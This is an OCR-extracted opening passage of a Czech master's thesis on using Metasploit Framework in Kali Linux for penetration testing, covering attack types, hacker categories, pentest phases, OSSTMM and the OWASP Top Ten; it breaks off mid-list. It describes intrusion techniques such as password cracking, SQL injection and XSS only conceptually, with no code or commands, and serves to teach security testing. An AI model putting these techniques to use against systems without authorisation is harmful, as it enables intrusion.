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Anotace

Tato diplomova prace je zamérena na pouziti Metasploit Frameworku v oblasti
penetracniho testovani. Prace je rozclenéna do tii hlavnich blokd. Prvni blok je vénovan
obecné problematice penetracniho testovani. Zde jsou uvedeny typy kybernetickych
utokd. Dale dil¢i clenéni Hackert do jednotlivych pod skupin podle jejich zptisobu
provadéni kybernetickych utoki a nakladani s itokem zjisténymi zranitelnostmi a daty.
Druhy blok prace je vénovan operacnimu systému Kali Linux, ktery se vyuZiva v oblasti
penetracniho testovani vcetné vypisu a popisu nastroji v prostiredi Kali Linuxu. Tieti
blok je vénovan Metasploit Frameworku. Tento treti blok je dale lenén na popis
jednotlivych modull a programovych knihoven, které obsahuje Metasploit Framework.
Dale jsou v tomto bloku z minény moZnosti ovladani a prace s timto nastrojem.

Klicova slova: penetraeni testovani, typy utoku, typy hackerd, Kali Linux, Metasploit

Framework



Annotation

Title: Using the Metasploit Framework for penetration
testing

This thesis is focused on the use of the Metasploit Framework in the field of penetration
testing. The work is divided into three main blocks. The first block is devoted to the
general issue of penetration testing. Here are the types of cyber attacks. Furthermore,
the partial division of Hackers into individual sub-groups according to their method of
carrying out cyber attacks. The second block of work is dedicated to the Kali Linux
operating system, which is used in the field of penetration testing, including a list and
description of tools in the Kali Linux environment. The third block is dedicated to the
Metasploit Framework. This third module is further divided into a description of the
individual modules and programming libraries that the Metasploit Framework contains.
In addition, this block includes options for controlling and working with this tool.

Keywords: Penetration testing, types of attacks, types of hackers, Kali Linux,

Metasploit Framework



Obsah

L. VO coeevrereessssseessssssssssssesssssssesesssssssessssesessesssesess s 5885 R SRR R RS AR AR AR 00 12
L 00115 i 1o OO PS OO 13
3. MetodiKa ZPraCOVANT ... s s 14
4 Penetracni testovani a Hackerské UtoKY ... 15
4.1 Druhy tGtoku aktivni, nebo pasivi.... s 15
4.2 TYPY NACKETTrvurrersrerssesssssssssssssssssssssssssssssss s ssssssssssssss s s ssasssssssssssssans 16
4.3 Déleni penetranich tastrl .. —————————— 16
4.3 Faze penetracniho teSTOVANL. ... 17
4.4 Druhy penetracniho teStOVANI.....ccminii s 19
4.4.1 penetracni testovani podle typu sluzby a typu zafizeni ..., 19
4.4.2 Déleni dle pouzité metodologie ... —— 23

5 KAl LINUX curtrererreersessesssssssssssessssssssesssssessessssssssssssssssssssssssssssssssssssss s s s sssssssssssnsnsans 35
5.1 NASLroje Kali LINUX..eeeessesssssssesssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssasns 35

4 Metasploit FrameWOTK ... ssssasess 47
4.2 Historie Metasploit Framework ... 47
4.2 Moduly Metasploit FrameWOTrK ... 48
4.2 Metasploit Framework Knihovny ... 51
4.3 Ovladani Metasploit FrameworK....... s 54
4.4 Vybrané payload MOdULY ... 58
4.5 Vybrané auxiliary Moduly ... s 59



4.6 Metasploit Framework 5.0 a Metasploit Framework 6.3 ... 69

6 SHINULT VYSIEAKT cooveveeeceerssssssssssssss s ssssssssssassssns 72
A /= N71=3 7= e (0] 0 0) 0 Lol =) T 73
8 PraKEtiCKA CASE cuvurererresrersessesssssssssssssssssssssesssssssssssssssssssssssesssssssssssssssssssss s s s st 75
8.1 SKENOVANT STLE......cueererrsrsesessesesesessesses s s s s sss bbb s 78
8.1.1 SKENOVANT LAN STLE.....oiurreeeererrsesesesesessessessessssessssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssans 78

8.2. ULOK PIOti FTP SEIVEI Unuuuuuuuueressseessssssssssssmsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss 81
ft8.2.3 ftP/ANONYIMNOUS .....oeiecrrrrsessisssssss s s s s 81
8.2.3 fLP/fLP_VEISION e s bbb sens 82
8.2.4 P /TEP_LOZIN e 82
8.2.5 FTP 10ZIN ccuiirierrerirssrsssssesssesssssssssssssssssss s sssss s sbasss st ssssssssassssssssssssssssssasnss 85

8.3 ULOK SEIVEITINL coeeseveeeesssssssssssssssssssssssssssssssssssssssssssessessssssssssssssssssnsssssssssssssssssssssssssssssssssssssssssss 86
8.3.1 dir_liStiNG . 86

LS T D )5 (08 Y=Y a7 ) PP 87
ST T0 \\ 0) 4 = o 1P 89
8.6 ZAVETr PraktiCKE CAStl PraACE....o s ssssanes 91

B <) P 92
10 Seznam POUZILE LItEIAtUIY ... eesrersessesssssssssssssssssssss s sanens 93
10.1 KNIZNT ZAT0JE.uueurereesrersesseeseese e sessesssssssssssssssssssssssssss s ss s ssss s ssss s sssanens 93
10.2 WEDOVE ZAT0JE c.ccurrrrrrrrsessesseesessessessssssssssssssssssssssssssssss s sssssssssssssssssssssbsssasssssssssssssssasens 93
10.3 ZAroje ODIAZKU.....vueeuerersessisssesssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssasssanes 100



Seznam Obrazku

Obrazek1: (zdroj obrazku [50]) ...csssssssssssssssssssns 17
ODbrazek 2 (ZAroj: [71]) s ssssssssssss s ssssssssass 29
ODbrazek 3 (ZAroj: QULOT) . s 30
Obrazek 4 (zdroj ODrazKu: QULOT) ... sssssssssssssssass 32
(0] 63 = V2= ST 0 (o) =10 110 ) [P OTT 39
............................................................................................................................................................................. 39
ODrazek 6 (ZAr0j: QULOT) ..o 39
(0] 03 V2= QU 2 (o) HE= 10 0] ) [P T 41
0brazek Cislo 8 (ZAr0j: QULOT) .. 42
............................................................................................................................................................................. 42
ODbrazek CiSIo 9 (ZAr0] AULOT) . assnes 43
Obrazek €islo 10 (zdroj 0brazku [S51]) s 47
(0165 1= V25Y 1 B B 2 (o) =10 1(0) o PP 59
Obrazek 12 (zdroj obrazKu: QULOr) ... sssssssass 60
Obrazek 13 (zdroj obrazKu: QULOr) ... ssssssssssssssssns 61
Obrazek 14 (zdroj ObrazKu: QULOr) ... s 61
ODbrazek 15 (ZAT0] QULOT) c.erssssssssssssssssssssssssssssssssssssssssssssssss s s ssssssssass 75
Obrazek 16 prikaz arp-scan (zdroj obrazku: autor) ... 78

Obrazek 17 vystup ftp/Anonymous modulu (zdroj obrazku: autor) ... 81
Obrazek 18 vystup ftp/Anonymous modulu (zdroj obrazku: autor) ... 81



Obrazek 19 vystup ftp/ftp_version modulu (zdroj obrazku: autor) ... 82

Obrazek 20 nastaveni ftp/ftp_login (zdroj obrazku: autor) ..., 83
Obrazek 21 vystup prikazu ftp/ftp_login modulu (zdroj obrazku: autor) ..., 84
Obrazek 22 vytvoreni slozky na napadeném FTP serveru (zdroj obrazku: autor) ............ 85
Obrazek 23 zména nizvu souboru na napadeném serveru (zdroj obrazku: autor) .......... 85
Obrazek 24 zmény v adresari pro provedeni Gtoku (zdroj obrazku: autor).......ns 86
Obrazek 25 vystup z dir_listing modulu (zdroj obrazku: autor)......emne. 87
Obrazek 26 vystup z dir_listing modulu (zdroj obrazku: autor)........n.. 87
Obrazek 27 nastaveni z pouZiti server/dchp modulu (zdroj obrazku: autor) ... 88
Obrazek 28 vystup z pouziti server/dchp modulu (zdroj obrazku: autor) ..., 88
Obrazek 29 vystup z nbname modulu (zdroj obrazku: autor) ..., 90



Seznam Tabulek

Tabulka 1 tato tabulka vznikla prekladem ze zdroje [4].......mm, 37
Tabulka 2 tato tabulka vznikla prekladem ze zdroje [20] ... 40
Tabulka 3 tato tabulka obsahuje vybrané parametry ze zdroje [40] ....c.coummnsnnssnnnns 52
Tabulka 4 tato tabulka obsahuje vybrané parametry ze zdroje [40] ... 52
Tabulka 5 tato tabulka obsahuje vybrané parametry ze zdroje [40] .....ccoummnnsrinsesinens 54
Tabulka 6 vybranych zakladnich piikazi pro Metasploit Framework ... 55
Tabulka 7 tabulka pouZivanych zKrateK.........sss 56
Tabulka 8 tabulka popisu hodnot parametru , RANK" ... 57
Tabulka 9 seznam zatizeni vytvoreno pro tento teXt......————: 76
Tabulka 10 arp-scan pro VLAN10 (Zdroj QUtOT) .mmmsssssssssssssssssssssssssssaes 79
Tabulka 11 arp-scan pro VLAN20 (Zdroj: QUtOr) ...ssssssssssssssssssass 80
Tabulka 12 arp-scan pro VLAN30 (Zdroj: QUtOr) ...sssssssssssssssssess 80
Tabulka 13 nalezenych hostd pomoci Nbname (zZdroj: autor) ... 91

10



1. Uvod

Diplomova prace se zabyva vyuZitim Metasploit Framework pro penetracni testovani.
Dlivodem pro penetracni testovani je odhalit potencidlné zranitelnd mista v pocitacové

siti firmy, aby bylo moZné upravit zabezpeceni sité. Tim padem nasledné nedoslo ke
zneuziti této zranitelnosti v pocitacové siti. Obecné v pocitacovych siti neexistuje sit
pripojena do internetu, kterd by neméla Zadné slabé misto. Nasledné toto slabé misto
sité neslo vyuzit pro kyberneticky utok. Slabinou vSech pocitacovych siti a pocitacovych
systéml je uzivatel a pripadna pftiliSna benevolence v predpisech pro vyuzivani
koncovych stanic pripojenych do firemni sité. To plati i pokud je dana pocitacova sit
odpojena fyzicky od internetu. Divody vyuziti Metasploit Framework je to, Ze obecné

zjednodusi svymi nastroji priibéh penetracni ho testovani.
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2. Cil prace
Prvnim cile prace je v teoretické casti uvést obecné postupy penetracniho testovani.

Druhym cilem je popsat moZnosti penetracniho testovani pomoci Metasploit Framework

v Kali Linux

Treti cilem je vytvorit praktické priklady penetrac¢niho testovani pomoci Metasploit

Framework
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3. Metodika zpracovani

Diplomova prace se Celni na tri oblasti, které souvisi s problematikou penetra¢niho

testovani. V prvni ¢asti jsou uvedeny typy Kyberneticky ttokd, a to jak aktivni titoky, tak

i pasivni utoky. Dale jsou v této Casti prace uvedeny Ctyri skupin hackerd. V této prvni
casti jsou dale uvedeny faze penetracniho testovani. Ve druhé cast je tato prace
vénovana operacnimu systému Kali Linux a jeho nastrojim pro penetracni testovani.
Mezi nastroje instalované v opera¢nim systému Kali Linuxu je i Metasploit Framwork.
Treti cast diplomové prace je vénovana Metasploit Framework a popsani jeho

Vs w7

funkcionalit. Tato treti ¢ast prace se déli do ctyr dilcich ¢asti. Prvni dil¢i ¢ast je vénovana

Vs V7

Moduliim, které jsou dostupné v Metasploit Frameworku. Druha dil¢i ¢ast se vénuje
knihovnam koédu, které se pouzivaji v ramci Metasploit Frameworku. Treti dil¢i ¢ast je
vénovana moznostem prace s Metasploit Frameworkem, kdy v této Casti jsou uvedeny
zakladni prikazy pro praci v msfconsole. Posledni pod cast prace je vénovana payload
moduliim a auxiliary moduliim. Kdy je uveden popis pro jednotlivé vybrané moduly a
zaroven je uvedena prakticka ukazka nastaveni konkrétnich modult. V zavérecné ¢asti

prace je vénovana praktickému vyuzit Metasploit Frameworku.
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4 Penetraéni testovani a Hackerské utoky

V této kapitole bude postupné zminéna problematika penetracniho testovani a moZnosti

nastrojli pro provadéni kybernetickych ttoki.
4.1 Druhy utoku aktivni, nebo pasivni
Kybernetické utoky jsou déleny na aktivni, nebo pasivni

Mezi aktivni typ utoku jsou napriklad nasledujici druhy utoku Network Maping, Port
Scanning a Password Cracking. Do skupiny pasivnich Utoku fadime napriklad Listening

to network traffic a Monitoring employess. [1]

Port Scanning - Technika skenovani portl, pri které se zjiStuji oteviené porty

u jednotlivych zarizenich v siti. Timto zplsobem je zjiSténo, na jaké porty se ma
u daného zarizeni v siti tok zamérit. [1]

Network Maping - Jedna se o techniku pomoci, které se udéla mapa dané pocitacové

sité. [1]

Password Cracking - Jedna se o skupinu nastrojli slouZzici k prolomeni prihlasovacich
udajli napadaného zatizeni. Password Cracking ma dva typy prvni typem je slovnikovy
utok, kdy se jako mozna hesla zkousi rizna slova a jejich tvary. Druhym typem tohoto

utoku je atok takzvané: ,hrubou silou®, kdy se zkousi rtizné kombinace znak. [1]

Listening to network traffic - Odposlouchavani provozu v siti je technika, kdy dto¢nik
nic primo v siti nedélad pouze odposlouchava z néjakého mista provoz v siti. Nasledné
z analyzy odposlouchavaného provozu zjisti napriklad, jakou IP adresu ma DHCP server,
Fille server, nebo DNS server a dal$i dilezité prvky dané konkrétni pocitacové

infrastruktury. [1]
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4.2 Typy hackeru

Pod pojme Hacker se skryvaji ¢tyri skupiny IT odbornikii. Déleni Hackert do skupin je
popsano niZe. Velmi Casto ma Siroka vefejnost mimo svét IT oznaCeni Hacker spojené s
clovékem, ktery se pohybuje za hranici zdkonnosti a s vim jedndnim pouze Skodi lidem.

NiZe je ¢lenéni do jednotlivych skupin Hackerd.

White hat - Jedna se o skupinu Hackert, ktera se vénuje vyhledavani zranitelnosti
systéml a jejich opravovani, tak aby nemohlo dojit v budoucnosti k vyuZziti zjisténé
zranitelnosti pri kybernetickém uUtku na danou pocitacovou infrastrukturu. Jedna se o
bezpecCnostni experty, ktefi pracuji zcela legalné a v mezich zakont. Jejich prace je

ochrana proti dal§im skupinam Hackertl zejména pak proti skupiné Black hat. [44]
Black hat - Jedn4 se o skupinu Hackert, ktera se vénuje nelegalnim ¢innostem

a zneuzivani jednotlivych zranitelnosti systému. Tato skupina se pohybuje za hranici

zakond. Tato podskupina Hackerti je asi nejvice spojovana s oznacenim Hacker. [45]

Grey hat - Jedna se o skupinu Hackert, ktera se pohybuje za hranici zakona, nebo

etickych pravidel. Tato skupina nekrade data z dtokem postiZené pocitacové sité
na rozdil od skupiny Black hat. [46]

Blue hat - Jedna se o skupinu Hackert, ktera se podoba vysSe v této praci popsané
skupiné White hat. Z pohledu spole¢nosti se na rozdil od White hat jedna o externi firmu.

[47]

Red hat - Jedn3 se o skupinu Hackert, ktera se vénuje loveni Hackeri spadajicich
do skupiny Black hat. [48]

4.3 Déleni penetracnich tastri

Penetracni testery lze rozdélit do podskupin podle znalosti a pfistupu k testované

firemni pocitacové infrastrukture.
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black box testing - Tato podskupina penetracnich testeri nemda znalosti dané
pocitatové infrastruktury. Tato skupina ma jen ty znalosti firemni pocitacové

infrastruktury, které Ize zjisti z vetrejnych zdrojt. [68]

grey box testing - Tato podskupina penetracnich testeri mam uz piistup k firemni
pocitaCové siti jako jeji uZivatel. Penetracni testefi v této skupiné jsou néco mezi
skupinami black box testing a white box testing. [68]

white box testing - Tato podskupina penetracnich testeri mam plny ptistup k firemni

pocitacové infrastrukture véetné veskeré dostupné IT dokumentace. [68]
4.3 Faze penetracniho testovani.

Tato kapitola textové vychazi z Hacking: prakticky privodce penetracnim testovanim.
[1]

Na obrazku niZe jsou uvedeny body pribéhu penetracniho testovani, kdy vybrané body

jsou popsany v trochu upravené podobé niZe v textu prace.

¥} O 0
e @
~ — D =)

2
x
&

Obrazek1: (zdroj obrazku [50])

Planovani testovani

Stanovit cile penetrac¢niho testovani, jaké casti sitové infrastruktury budou zahrnuty
v testovani, a naopak, které €asti sité budou vyjmuty z testovani. Stanovit ¢as ve kterém

bude probihat testovani. Dale pripadné stanovit na jaké casti systému a jejich
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zranitelnosti bude cilit samotny planovany kyberneticky utok. Z hlediska zakonnosti je

pro penetracni testovani nutné uzavrit dohodu s provozovatelem dané pocitacové sité.
[1]
Skenovani sité

Jedna se o pripravnou fazi, kdy se zjiStuji moZna zranitelnd mista v pocitacové siti.
Skenovan sité lze rozdélit do tii typt konkrétné Externi skenovani, pasivni odposlech a

aktivni odposlech. [1]
Externi skenovani - Testuje to, co je béZné dostupné jedna se napriklad o aplikace,

pres které firma komunikuje se zdkazniky (webové stranky e-shopu). Tento typ
skenovani mize odhalit napriklad Spatné nastaveny zptlisob validace dat, kdy se data
ovéruji pouze na strané klienta, a nikoliv na strané serveru. Na priklad Spatna validace
dat byla i v CR, kdyZ se spustila registrace na o¢kovani covid 19, tak ovéfovani rodného
Cisla probihalo jen na strané klienta. Ve vysledku to zptisobilo to, Ze v dobé, kdy byla
registrace asi od 80 let véku se mohl do systému dostal i clovék, ktery nespadal do dané

vékové kategorie. [1]

Pasivni odpalech - Pouze sleduje probihajic komunikaci v dané siti a hleda jeji slaba
mista. Timto zplisob lze naptiklad zjistit na jakych IP adresach se nachazeji jaké servery
a jaké IP adresy pouzivaji pocitace, nebo jakou adresu mam pro danou LAN brana do
internetu. K pasivnimu skenovani sité se pouziva naptiklad Discover Scriptts Pasivni

odposlech sité lez vyuzit k naslednému doppelganger attack. [1]

Aktivni odposlech - Jedna se uZ o aktivni skenovani sité s cilem vyhledat konkrétni

sluzby a piipadné konkrétni zranitelnosti dané sité. [1]

18



Detekce a analyza

Po fazi skenovani sité nasleduje ze jiSténych udaji detekce zranitelnosti spolecné
s analyzou zjisténych zranitelnosti a z toho plynujicich rizik pro danou pocitacovou

infrastrukturu. [1]
Post Incident aktivity

Reakce na zjiSténé bezpecnostni hrozby jako je udprava nastaveni Kkybernetické

bezpec¢nosti. Uprava podminek pouZivani firemnich koncovych zatizenich (PC, telefony).
[1]
4.4 Druhy penetracniho testovani

Penetracni testovani lze rozdélit podle toho na jaky typ zranitelnosti se penetracni

testovani zmaruje.
4.4.1 penetracni testovani podle typu sluzby a typu zarizeni

Penetrac¢ni testovani lze rozdélit podle typu testované sluzby, nebo podle typu zarizeni,
které ma byt pri penetratnim testovani testovano. Jak uvadéji zdroje

[50],[51],[52],[53],[54]. NiZe v praci jsou tyto postupy penetrac¢niho testovani popsany.
Penetracni testovani mobilnich aplikacich

Prvni podskupinou penetracniho testovani je testovani zranitelnosti v prostiedi
mobilnich aplikaci. Tato podskupina penetrac¢nich testli v poslednich letech nabira na
dtlezitosti z divodu velkého rozvoje vyuzivani mobilnich aplikaci. Metodiky

zabezpeceni mobilnich aplikaci vychazi z Metodiky zabezpeceni aplikaci.

e Prvni faze Discovery - V prvni fazi se zjistuji verejné informace o dané mobilni

aplikaci.
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o Open Source Intelligence - Hledani dostupnych informaci o konkrétni aplikaci na
internetu. Pouzivané knihovny vdané aplikaci, nebo uniklé zdrojové kody
vybrané aplikace.

o Understanding the platform - Pfi stanoveni bezpecnostni rizik je dileZziti
zohlednit konkrétni mobilni platformu.

o Client side vs Server side scenarios - Je nutné rozliSovat nativni aplikaci, ktera je
vytvoiena pro danou platformu mobilnich operac¢nich systémi, kdy se testuji

pouze zranitelnosti pro dany operacni systém.

Dale rozliSovat hybridni aplikaci, kterd se musi testovat na zranitelnosti vice mobilnich
operacnich systému. V dne$ni dobé se jedna hlavné otestovani zranitelnosti pro Android
a Apple. Posledni druhem je webova aplikace, kdy testovani webové aplikace je popsano

niZe v praci.

e Druhd vaze analyza - Analyza zdrojového kddu a pouzivanych knihoven kédu.

o Archive analysis - Kontrola konfigurace pouZivanych bali¢ku instalovanych pro
android, nebo iOS.

o Local file analysis - Kontrola soubort, které vyuZiva dana aplikace.

o Reverse engineering - Pfevod z kompilovaného zdrojového kédu do ¢lovékem
Citelné podoby. Poté nasleduje analyza daného zdrojového kédu.

o Dynamic analysis - Analyza aplikace za béhu, kdy se analyzuje napftiklad
komunikace mez severem a danym zatizenim.

o Network and web traffic - Pfesmérovani provozu mezi zatizenim a serverem
ptes proxi. To umoznuje analyzovat sitovy provoz na urovni packetd.

e Treti faze Exploitation:

o Attempt to exploit the vulnerability - Pokus o zneuZiti zjiSténych zranitelnosti

s cilem zjisti z napadeného zarizeni citliva data.
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o Privilege escalation - Pomoci zjisténych zranitelnosti ziskat prava administratora
(superuZivatele)

e Ctvrta faze Reporting - Ohodnoceni zjiténych zranitelnosti podle stupné
nebezpecnosti.

o Final report: - Podrobna zprava o objevenych zranitelnostech jejich hodnoceni a

bezpecnostnich doporuceni urc¢enych k eliminaci danych zranitelnosti.
[50]
Penetracni testovani webovych aplikaci

Druhou podskupinou penetracniho testovani je testovani zranitelnosti webovych
aplikaci. Jedna se o penetracni testovani zmérené na nastaveni prostiedi a nastaveni
webové aplikace. Tyto penetracni testy shromazduji verejné informace o dané
testované webové aplikaci. Dale mapuji pocitaCovou sit, ktera danou webovou aplikaci
hostuji. PoZivaji se zde dva pristupy prvni pristup je Active Reconnaissance a druha

pristup je Passive Reconnaissance.

Active Reconnaissance - Aktivni skenovani cilového systému s vyuzitim skenovani dané

pocitacové sité. Dale se vyuziva doptedné a zpétné vyhledavani DNS.

Passive Reconnaissance - Jedna se o shromazdovani vSech vefejné dostupnych
informaci o dané webové aplikaci bez primé interakce s danou webovou aplikaci. Mezi
tyto informace pari na priklad informace subdoménach, které dand webova aplikace
vyuziva.

Penetracni testovani webovych aplikaci se pouzivd v kombinaci sniZe popsanym

penetra¢nim testovanim API rozhrani.

Penetracni testy komunikacnich protokolli, se vyuZivd kurcCeni rizika pro danou
pocitacovou infrastrukturu a komunikaci v rdmci dané sité a internetu. Tyto rizika

7.7

plynou z pouZzivani nezabezpecenych protokoli, nebo protokolii s prolomenym
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Sifrovani, nebo pouzivanim nedostatecné dlouhého Sifrovaciho klice, nebo Spatného
Sifrovaciho algoritmu. Napriklad pro webové stranky spolecnosti vyuzivat https
protokol misto http protokolu. Pro dalkovou spravu zarizeni pouZivanych v dané
pocitacové infrastruktury vyuZzivat vyhradné zabezpeceného SSH protokol a vyhnout se

pouzivani nezabezpeceného Telnet protokolu.

[51]

Penetracni testy API rozhrani

Treti podskupinou penetracniho testovani je testovani zranitelnosti API rozhrani.

Tyto testy mizou odhalit Spatnou validaci, nebo verifikaci v serverové casti aplikace
(Backend aplikace), nebo Spatné napsané API rozhrani ve smyslu autorizace a
autentizace. Tyto testy je mozné provést bez nutnosti mit celo funkéni aplikaci. Lze

testovat po napsani samotné sluzby, nebo vytvoreni serverové casti aplikace

bez nutnosti funkéni klientské casti aplikace (Frontend aplikace). API rozhrani lze

testovat na priklad v nastroji Postman, nebo Curl. [52]

Penetracni testovani IoT zarizeni

Penetrac¢ni testovani IoT zarizeni se déli do nasledujicich skupin, které jsou popsané
niZe.

Penetrac¢ni testovani hardwaru - Testovani hardwaru daného IoT zatizeni vyuziva

se zde vypisy paméti, Kryptograficka analyza a Reverzni inZenyrstvi.

Penetracni testy firmwaru - Jedna se o techniky zaméteni na firmware IoT zatizeni. Mezi
tyto techniky patii na ptiklad techniky prolamovani hesel, dpravy firmwaru, PreteCeni

zasobniku. Stejné jako u penetrac¢ni testovani hardwaru i penetracni testy firmwaru

se vyuZivaji techniky Reverzniho inZenyrstvi a Kryptografické analyzy.
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Penetracni testova komunikacnich protokolli - Tento druh penetra¢niho testovani IoT
se zaméruje na technologie umozZnujici komunikaci IoT zarizeni a odesilani dat z daného
zarizeni (RFID, NFC, ZigBee, Bluetooth, WiFi, SigFox a LoRa). Vyuzivaji se napriklad
techniky zachycovani a analyzy vice protokolovych radiovych signala (sniffing). Dale se

vyuzivaji techniky pro kryptografickou analyzu, nebo techniky DOS utoku.[53]

Socialnim inZenyrstvi

Socidlnim inZenyrstvi je samostatnou technikou penetra¢niho testovani a do jisté miry
oddélenym typem penetrac¢niho testovani od ostatnich vySe popsanych penetrac¢nich
technik. U tohoto typu penetracniho testovani nejsou nutné specialni znalosti jako u
ostatnich popsanych technik penetra¢niho testovani. U Socidlnim inZenyrstvi se vyuziva
predevsim znalosti v oblasti psychologie, a nikoliv samotné znalosti IT. Uto¢nik musi
svim jedndni zajistit divéru a strach u napadenych lidi. V tomto pripadé se netestuji
pfimo zranitelnosti systému, ale selhani lidského faktoru. Tato selhani miZe byt
zplsobenou nedodrzovani piredpisi o pouzivani firemnich pocitaci a firemni pocitacové
sité. Dale se miliZe rovnéZ jednat o nedostate¢né pro Skoleni zaméstnancii o pravidlech

vyuzivani firemnich pocitacl a firemni pocitacové sité. [54]

4.4.2 Déleni dle pouzité metodologie

V pti penetraCnim testova lze vyuzit tyto nasledujici metodologie.

Open Source Security Testing Methodology Manual (OSSTMM)
OSSTTM metodika obsahuje Ctyfti faze, které budou popsany niZe v praci.

e Induction Phase - Pripravna faze pochopeni toho, co se ma testovat a co ma cilem

penetracniho testovani. Dale schvaleni rozsahu a zplisobu provadéni
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penetracniho testovani. Tato faze se dale déli do tii dilCich ¢asti popsanych niZe
Vv praci

Posture Review - Tato prvni Cast se zabyva zkoumanim norem predpist a
legislativy. V této prvni Casti je nutné urcit rozsah penetracniho testovani.
Logistics — Tato ¢ast druhd se zabyva omezeni interakce jako je vzdalenost a
rychlost interakce jako je vzdalenost, rychlost interakce. V této druhé casti je
nutné urcit a znat omezeni penetracniho testovani.

Active Detection Verification - Tato tfeti ¢ast se zabyva Sifkou detekce, reakce a
predvidatelnost reakce. Vtéto treti Casti je nutné znat omezeni, ktera jsou
kladena pro pouziti interaktivnich testu.

Interaction Phase - Tato faze urcuje rozsah penetracniho testovani a déli se do
Ctyt Casti, které jsou popsany niZe v této praci.

Visibility Audit - Tato prvni faze se zabyva cilem penetra¢niho testovani. V téo
prvni Casti je nutné védét jaké jsou cile penetracniho testovani existuji a jak
funguji. Dale jaké jsou mrtvé, nebo neexistuji cile, nebo nereagujici cile.

Access Verification Audit — Tato druha faze se zabyva méreni Sifky a hloubky
interaktivnich pristupovych bodi a jejich autentizaci

Trust Verification - Tato treti faze se zabyva

Control Verification - Tato Ctvrta faze se zabyva

Inquest Phase - Inquest Phase faze se vénuje moZnému zneuZiti Spatnému
nastaveni zabezpeceni dat. Tato faze se dale rozdéluje do Sesti dil¢ich casti
popsanych niZe v praci.

Process Verification Tato prvni ¢ast se zabyva urceni a existenci zdznamu

o urovni zabezpeceni a kontrola nastavenych pravidel zabezpeceni daného
pocitatového systému. Je nutné znat potrebné pouZivané ovladace a jejich

pouZivané rutiny, kdy procesy maji definované soubory pravidel pro praci
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s danym procesem. Pravidla pro procesy je mozné predefinovat a tim ziskat
pristup k danému poZadovanému procesu.

Configuration Verification and Training Verification - Tato druha ¢ast se zabyva
analyzou bézného provozu vdané pocitacové siti. Urcuje mozZné problémy
pomoci bezpecnostnich a zatéZovych testli. Tato ¢ast zkouma, jak cilové zarizeni
pracuje pti béZném provozu v dané pocitacové infrastrukture.

Property Validation - Tato tfeti ¢ast se zabyva mérenim pouZivani nelegalnich,
nebo nelicencovanych aplikaci. Je nutné znat vlastnicka prava a licencni
podminky pro vyuzivani dané aplikace.

Segregation Review — Tato ¢tvrta ¢ast se zabyva stanovenim drovni potiebnych
osobni identifikacnich Uidaji. Je nutné znat pozadavky na ochranu osobnich udaji
jednotlivych stati jako je GDPR.

Exposure Verification — Tato pata cast se zabyva vyhledavani volné dostupnych
informaci, které popisuji nepiimo viditelné cile, nebo aktivity v ramci zvolenych
kanalt a ur¢eného rozsahu.

Competitive Intelligence Scouting — Tato Sesta c¢ast se zabyva vyhledavani volné
dostupnych informaci, které mohou poskodit, nebo ovlivnit napadané zarizeni.
Informace z procesli napadeného cilové zarizeni miZe mit vét$i hodnotu nez
aktivity, kterymi jsou informace chranény.

Intervention Phase - Intervention Phase faze, kterd obsahuje testy zdroji
napadeného zatizeni. Tato faze ma za cil pretiZeni, nebo vyhladovéni zdroju

a nasledné provést priinik do napadeného systému. Jedna se o posledni fazi podle
OSSTMM. Tato posledni faze se déli do ctyr dil¢ich Casti, které jsou popsany nize
Vv praci.

Quarantine Verification - Tato prvni ¢ast se zabyva efektivitou vyuZzivani

takzvané karantény pro pristup do daného systému. Tato ¢ast se vénuje Gc¢innosti



autentizace a vyuZivani takzvané Cerné listiny, nebo bile listiny pro ptistup do
daného sytému.

Privileges Audit - Tato druha cast se zabyva mapovani dopadd pripadného
zneuziti prihlasovacich udajti, nebo pristupovych opravnénich v daném systému.
V tato Cast se zaméruje na kontrolu nastaveni procesu autentizace,

nebo autorizace vdaném systému. Dale se pri této fazi kontroluje spravnost
nastaveni uZivatelskych roli vdaném systému.

Survivability Validation and Service Continuity - Tato tfeti ¢ast se zabyva méreni
odolnosti napadeného zatizeni z pohledu kontroly integrity a kontinuity daného
systému. Dale se ovéfuje zamitnuti sluzby, nebo zamitnuti interaktivity daného
systému.

Alert and Log Review and End Survey - Tato ctvrta c¢ast se zabyva kontrolou
provedeni penetracniho testovani, kdy se tato ¢ast vénuje popisu pouzité hloubky

penetracnich testt. [55]

Open Web Application Security Project (OWASP)

OWASP je organizace, kterd poskytuje navody, jak vytvaret a udrzovat bezpecné a

divéryhodné webové aplikace. OWASP je féorem, kde mohou bezpecnostni experti a

odbornici na informacni technologie vytvaret volné dostupné metodiky a dokumentaci.

OWASP utvari seznam bezpecnostnich rizik pro webové aplikace. Nize v praci je

popsano top deset zranitelnosti podle OWASP.
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Broken Access Control — Ovéreni uZzivatelé maji Spatné nastavena uzivatelska
prava, kdy tyto uzivatelé maji Spatné omezeny pristup k funkcim, nebo k datlim
na daném pocitaCovém systému. Omezeni prav Kkpiistupu do daného
pocitacového systému pro ovérené uzivatele neni vynucovana.

Cryptographic Failures - Jedna se o zranitelnosti spojené se selhanim Sifrovani.

Tato selhani vedou k odhalent citlivych dat nebo kompromitaci systému. Webové
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aplikace a API rozhrani maji zranitelnosti spojené s pouzivanym kédovani, které
mohou utoc¢nici vyuZit pro odhaleni citlivych dat.

Injection - Injection SQL je utok, ktery se provadi odeslanim chybné
formatovaného kdédu na databazovy server. Tento typ utoku je mezi Hackery
popularni pro rychlost provedeni Gtoku a jednoduchost daného utoku.

Cross-site scripting - Cross-site scripting je rizikem v pripadech, kdy webova
aplikace obsahuje nediivéryhodnd data na nové webové strance bez radného
ovéreni. Dale se jedna o aktualizaci webové stranky na zakladé dat dodanych

do webové aplikace uZivatelem pomoci rozhrani API. Uto¢nik ma moZnost vlozit
do aplikace skripty na strané klienta a timto zplisobem miize doji k ukradeni
uzivatelskych relaci. To mize vést k presmérovani uzivateli z napadené webové
stranky na Skodlivé webové stranky utoc¢nika.

Insecure Design - Insecure Design je kategorie, ktera se zaméruje na rizika
souvisejici s chybami v navrhu aplikace To znamena pouziti vice modelovani
hrozeb pro bezpecné navrhové vzory a principy v drivéjsich fazich cyklu vyvoje
aplikaci.

Vulnerable and Outdated Components (formerly referred to as “Using
Components with Known Vulnerabilities”) - Jedna se o typ zranitelnosti, které
jsou spojeny s pouzivanim zastaralych knihoven a frameworki. Problém téchto
zranitelnosti je to, Ze vyvojari nemusi védét jaké open source komponenty,

